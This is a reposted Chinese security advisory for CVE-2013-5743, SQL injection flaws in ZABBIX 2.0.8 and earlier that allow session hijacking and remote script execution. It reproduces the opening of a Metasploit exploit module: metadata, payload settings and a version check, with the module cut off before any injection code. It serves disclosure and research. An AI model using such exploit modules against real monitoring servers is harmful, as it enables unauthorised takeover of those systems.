ZABBIX API及Frontend多个SQL注入漏洞(CVE

发布日期:2013-10-02
更新日期:2013-10-19

受影响系统:
ZABBIX ZABBIX <= 2.0.8
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 62794
CVE(CAN) ID: CVE-2013-5743

ZABBIX是一个CS结构的分布式网络监控系统。

ZABBIX 2.0.9之前版本、ZABBIX 1.8.18之前版本存在多个SQL注入漏洞,攻击者通过'scripts_exec.php'文件利用此漏洞可未经身份验证检索活动会话ID,获取管理员身份,上传并执行远程脚本。

<*来源:Bernhard Schildendorfer
        Lincoln
        Jason Kratzer
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##
# This file is part of the Metasploit Framework and may be subject to
# Redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

def initialize(info={})
    super(update_info(info,
      'Name'          => "Zabbix 2.0.8 SQL Injection and Remote Code Execution",
      'Description'    => %q{
        This module exploits an unauthenticated SQL injection vulnerability affecting Zabbix
        versions 2.0.8 and lower.  The SQL injection issue can be abused in order to retrieve an
        active session ID.  If an administrator level user is identified, remote code execution
        can be gained by uploading and executing remote scripts via the 'scripts_exec.php' file.
      },
      'License'        => MSF_LICENSE,
      'Author'        =>
        [
          'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept
          'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module
        ],
      'References'    =>
        [
          ['CVE', '2013-5743'],
          ['URL', 'https://support.zabbix.com/browse/ZBX-7091']
        ],
      'Platform'      => ['unix'],
      'Arch'          => ARCH_CMD,
      'Targets'        =>
        [
          ['Zabbix version <= 2.0.8', {}]
        ],
      'Privileged'    => false,
      'Payload'        =>
        {
          'Space'      => 255,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl Python'
            }
        },
      'DisclosureDate' => "Sep 23 2013",
      'DefaultTarget'  => 0))

register_options(
        [
          OptString.new('TARGETURI', [true, 'The URI of the vulnerable Zabbix instance', '/zabbix'])
        ], self.class)
  end

def uri
    return target_uri.path
  end

def check
    # Check version
    print_status("#{peer} - Trying to detect installed version")

res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "httpmon.php")
    })

if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ and res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/
      version = $1
      print_status("#{peer} - Zabbix version #{version} detected")
    else
      # If this fails, guest access may not be enabled
      print_status("#{peer} - Unable to access httpmon.php")
      return Exploit::CheckCode::Unknown
    end

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/8ce75c412b4b186d5fd94e4533794ffb.html